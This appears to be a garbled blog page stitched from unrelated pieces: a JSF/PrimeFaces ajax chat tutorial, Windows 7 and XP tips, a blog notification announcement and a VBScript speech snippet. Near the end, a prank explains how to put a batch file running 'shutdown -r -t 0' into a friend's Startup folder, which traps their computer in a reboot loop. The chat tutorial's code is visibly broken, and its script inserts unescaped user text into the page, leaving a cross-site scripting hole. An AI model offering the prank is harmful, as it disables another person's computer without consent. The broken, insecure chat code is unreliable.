How to create a chat with ajax


In our JSF project, which I am currently working on, there was a problem to create a chat in order to enable users to communicate. Today I’ll show you how to create a simple chat using JSFPrimeFaces and ajax.

Main Idea

The idea is quite simple. Somewhere on the server (e.g. in the database) there are messages. On your web-page there is a message box in which all chat messages are displayed. Each second the web-page requests the server for new messages, and if there are any, adds them into message box.


  1. We have to ask server for new messages every second by invoking JSF managed bean’s method. How?
  2. Managed bean (server side) has to return new messages to the web-page. How?
  3. After page is loaded (ready) the message box should be updated and contain all recent chat messaged. How?


As it was said above, I am describing a solution for PrimeFaces library. But if you don’t (or unable to) use it, there might be a similar solution. See specifications of your particular library.

The first problem is very simple to solve. In PrimeFaces, there are different (at least two) components for invoking JSF managed bean’s method from the web page. You can use, for example, Poll component. But here I will useRemoteCommand. To solve the second problem we will use call-back parameters (the mechanism of passing data from the server to the client’s web-page). In my implementation we won’t need to solve the last problem. It will be solved automatically.

Let’s get the ball rolling!

Creating a simple ajax chat with PrimeFaces

An ideal Enterprise application should be 4-tier i.e. consist of 4 modules: Client side, Web-module, EJB-module and database. The ideal Java EE application structure is shown on the picture below.  In this tutorial we won’t use any real databases. We just emulate one using synchronized array for storing messages.

To create a chat you will need:

  1. Netbeans IDE 7 with JavaEE
  2. PrimeFaces 3

Create a Web-application project in NetBeans IDE and choose Java Server Faces for preferred web-framework. Also you have to add PrimeFaces library into your project.

Create a package simplechat.ejb. Then create a class MessageManager and an interfaceMessageManagerLocal. Our EJB module will emulate  a database and we will use it for obtaining and sending messages.


import java.util.Collections;
import java.util.Date;
import java.util.LinkedList;
import java.util.List;
import javax.ejb.Singleton;
import javax.ejb.Startup;

 * Simple chat logic
 * @author Danon
public class MessageManager implements MessageManagerLocal {

    private final List messages =
            Collections.synchronizedList(new LinkedList());;

    public void sendMessage(Message msg) {
        msg.setDateSent(new Date());

    public Message getFirstAfter(Date after) {
            return null;
        if(after == null)
            return messages.get(0);
        for(Message m : messages) {
                return m;
        return null;



import java.util.Date;
import javax.ejb.Local;

 * Local interface for chat lagic EJB
 * @author Danon
public interface MessageManagerLocal {

    void sendMessage(Message msg);

    Message getFirstAfter(Date after);


This classes represent a singleton start-up Java bean. This will give as a global point for accessing messages. If you want to use real database, you should use a simple stateless EJB instead.

As you can see, our implementation is very simple. We just have a list of messages inside to which we can access safely using methods of our singleton. MessageManager.sendMessage(msg) – adds new message into the list.MessageManager.getFirsAfter(Date) returns the first message that was sent after specified date.

Now that we created EJB-part of our application, let’s create the web-part. Add new package simplechat.webinto project and create a class Message in this package.


import java.util.Date;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.RequestScoped;

 * Represents message
 * @author Danon
public class Message implements Serializable {
    private Date dateSent;
    private String user;
    private String message;

    public Date getDateSent() {
        return dateSent;

    public void setDateSent(Date dateSent) {
        this.dateSent = dateSent;

    public String getMessage() {
        return message;

    public void setMessage(String message) {
        this.message = message;

    public String getUser() {
        return user;

    public void setUser(String user) {
        this.user = user;

This is a plain Java object which represents a message. As you may notice the class implements interfaceSerializable. It is very important for exchanging data between all parts of our application. When Message object is transmitted it should be serialized.

The next thing we’ve got to do is to create a JSF managed bean in simplechat.web package.


import java.util.Collections;
import java.util.Date;
import java.util.LinkedList;
import java.util.List;
import javax.ejb.EJB;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.ViewScoped;
import javax.faces.event.ActionEvent;
import org.primefaces.context.RequestContext;

 * @author Anton Danshin
public class MessageBean implements Serializable {

    MessageManagerLocal mm;

    private final List messages;
    private Date lastUpdate;
    private Message message;

     * Creates a new instance of MessageBean
    public MessageBean() {
        messages = Collections.synchronizedList(new LinkedList());
        lastUpdate = new Date(0);
        message = new Message();

    public Date getLastUpdate() {
        return lastUpdate;

    public void setLastUpdate(Date lastUpdate) {
        this.lastUpdate = lastUpdate;

    public Message getMessage() {
        return message;

    public void setMessage(Message message) {
        this.message = message;

    public void sendMessage(ActionEvent evt) {

    public void firstUnreadMessage(ActionEvent evt) {
       RequestContext ctx = RequestContext.getCurrentInstance();

       Message m = mm.getFirstAfter(lastUpdate);

       ctx.addCallbackParam("ok", m!=null);

       lastUpdate = m.getDateSent();

       ctx.addCallbackParam("user", m.getUser());
       ctx.addCallbackParam("dateSent", m.getDateSent().toString());
       ctx.addCallbackParam("text", m.getMessage());



This managed bean we will use fin our web-page for sending and receiving messages. It stores the date of the last message which was received. And the client will request only new messages, which wasn’t received yet.

For passing messages to the client side (web-browser) we use the mechanism of call-back parameters. The data are serialised and transmitted in JSON format.


<?xml version='1.0' encoding='UTF-8' ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
<html xmlns=""
        <title>Chat test!</title>
    <script type="text/javascript">
        setInterval("nextMessage()", 200); //update the chart every 200 ms               

        function updateMessages(xhr, status, args) {
            if(!args.ok) return;
            $('#chat').append('<div>[' +args.dateSent+ '] <strong>'+args.user+'</strong>: '+args.text+'</div>');

        <h:form prependId="false">
            <h:panelGrid columns="2">
                Name: <p:inputText value="#{messageBean.message.user}"/>
                Text: <p:inputText value="#{messageBean.message.message}"/>
                <p:commandButton type="reset" value="Clear"/>
                <p:commandButton value="Send!" actionListener="#{messageBean.sendMessage}"/>

            <p:remoteCommand name="nextMessage" actionListener="#{messageBean.firstUnreadMessage}" 
                             oncomplete="updateMessages(xhr, status, args);"/>
        <h3>Live chat</h3>
        <div id="chat"></div>

On the web-page, there are: a form for sending messages, a message box for displaying messages and a PrimeFaces RemoteCommand component. This component invokes MessageBean.firstUnreadMessage()method using ajax request. When the request is completed, a javascript function updateMessages(xhdr, status, args) is called. The function gets call-back parameters and adds new message in the message box if there is one.

Also, web-browser should request new messages repeatedly. We can make him do that using setInterval(“nextMessage()”, 200).

Now you should get the following directory structure in your Netbeans project:

Simplechat - Netbeans


Simple Chat in Action [screenshot]

Improved version


This implementation has one disadvantage. We get only one message per one call. But how to pass several messages in one request? Well, there is a trick. To pass an array or a list of objects from JSF bean to browser we should create JSONArray and pass it as string. I don’t have time to show you how to do it and prefer to leave it for your own investigation. Good luck!

Use Hidden International Wallpapers and Themes

When you first install Windows 7, it asks for your language, time and currency. Based on your responses, it installs a set of wallpapers and themes. If you choose English (United States) for your time and currency format, for example, the available desktop backgrounds and themes will include a United States section with scenery from locations such as Maine, the Southwest and so on.

Hidden, though, are background scenery and themes from other English-speaking countries — Australia, Canada, Great Britain and South Africa. Normally, you can’t access those backgrounds or themes, but there is a simple way you can install and use them:

  • In the search box in the Start menu, type C:\Windows\Globalization\MCT and press Enter. (Note: If Windows 7 is installed in a drive other than C:, use that letter instead.)
  • Windows Explorer will launch and show you a list of subfolders under C:\Windows\Globalization\MCT: MCT-AU, MCT-CA, MCT-GB, MCT-US, and MCT-ZA. Each sub folder has wallpapers for a specific country: AU for Australia, CA for Canada, GB for Great Britain, US for the United States, and ZA for South Africa.
  • For any of the countries whose wallpaper and themes you want to use, go into its Theme folder, for example, C:\Windows\Globalization\MCT\MCT-ZA\Theme. Double-click the theme you see there (for example ZA).

20 things you didn’t know about Windows XP


1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type ‘systeminfo’. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type ‘systeminfo > info.txt’. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run… and type ‘gpedit.msc’; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care — some may stop your computer behaving as you wish. (Professional Edition only).

3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter ‘rundll32.exe user32.dll,LockWorkStation’ in the location field. Give the shortcut a name you like. That’s it — just double click on it and your computer will be locked. And if that’s not easy enough, Windows key + L will do the same.

4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word ‘hide’ and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include ‘eventcreate’ and ‘eventtriggers’ for creating and watching system events, ‘typeperf’ for monitoring performance of various subsystems, and ‘schtasks’ for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options — they’re all far too baroque to go into here.

6. XP has IP version 6 support — the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type ‘ipv6 install’ into Run… (it’s OK, it won’t ruin your existing network setup) and then ‘ipv6 /?’ at the command line to find out more. If you don’t know what IPv6 is, don’t worry and don’t bother.

7. You can at last get rid of tasks on the computer from the command line by using ‘taskkill /pid’ and the task number, or just ‘tskill’ and the process number. Find that out by typing ‘tasklist’, which will also tell you a lot about what’s going on in your system.

8. XP will treat Zip files like folders, which is nice if you’ve got a fast machine. On slower machines, you can make XP leave zip files well alone by typing ‘regsvr32 /u zipfldr.dll’ at the command line. If you change your mind later, you can put things back as they were by typing ‘regsvr32 zipfldr.dll’.

9. XP has ClearType — Microsoft’s anti-aliasing font display technology — but doesn’t have it enabled by default. It’s well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

10. You can use Remote Assistance to help a friend who’s using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like Replace this with your chum’s real IP address — they can find this out by going to — and get them to make sure that they’ve got port 3389 open on their firewall and forwarded to the errant computer.

11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As… and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

13. You can start up without needing to enter a user name or password. Select Run… from the start menu and type ‘control userpasswords2’, which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options… and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

15. XP comes with a free Network Activity Light, just in case you can’t see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You’ll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By… Show In Groups.

18. Windows Media Player will display the cover art for albums as it plays the tracks — if it found the picture on the Internet when you copied the tracks from the CD. If it didn’t, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.

20. The next release of Windows XP, codenamed Longhorn, is due out late next year or early 2003 and won’t be much to write home about. The next big release is codenamed Blackcomb and will be out in 2003/2004.

The Blog

A few months ago we added Notifications to the Toolbar and recently we released a Chrome extension so that you can always keep up with the activity on your blog. Today we’re adding comment notifications, complete with comment moderation and reply functionality.  When your post receives a comment, you’ll get a Notification that looks something like this:

If you’re using threaded comments, you’ll see if someone responded directly to you, right in the notification.

You will see Approve, Spam, and Trash links in your comment notification if you have permission to moderate comments, allowing you to moderate the comment from within the notification:

Clicking Reply automatically approves a comment and displays an area for you to type a reply in. When you’re done, just click Reply and you can get back to whatever you were working on, without having to navigate to the dashboard to manage your comments.

View original post 32 more words

Restart ur friend’s computer .. Continue sly ;)

Continues Restarting ur Frnds Computer note pad

2.type “shutdown -r -t 0” without quotes the file windows folder with .bat extension

4.explaination,u have created a prog which Restart the pc with in
of executing the file

5. now open “C:\Documents and Settings\USERNAME\Start Menu\Programs\Startup\”
6.paste the a shortcut of that file on this directory

Ur computer Will Speak 4 u ..just type wat ever u want in input box collumn:

Make your Text Speakable

Dim msg, sapi

msg=InputBox("Enter your text","Talk it")

Set sapi=CreateObject("sapi.spvoice")

sapi.Speak msg



Steps to Perform

1.  Copy from “dim” to “msg”.

2. save is as “filename:.vbs

3. teaxt box will appear.

4.write ur text and press enter. it.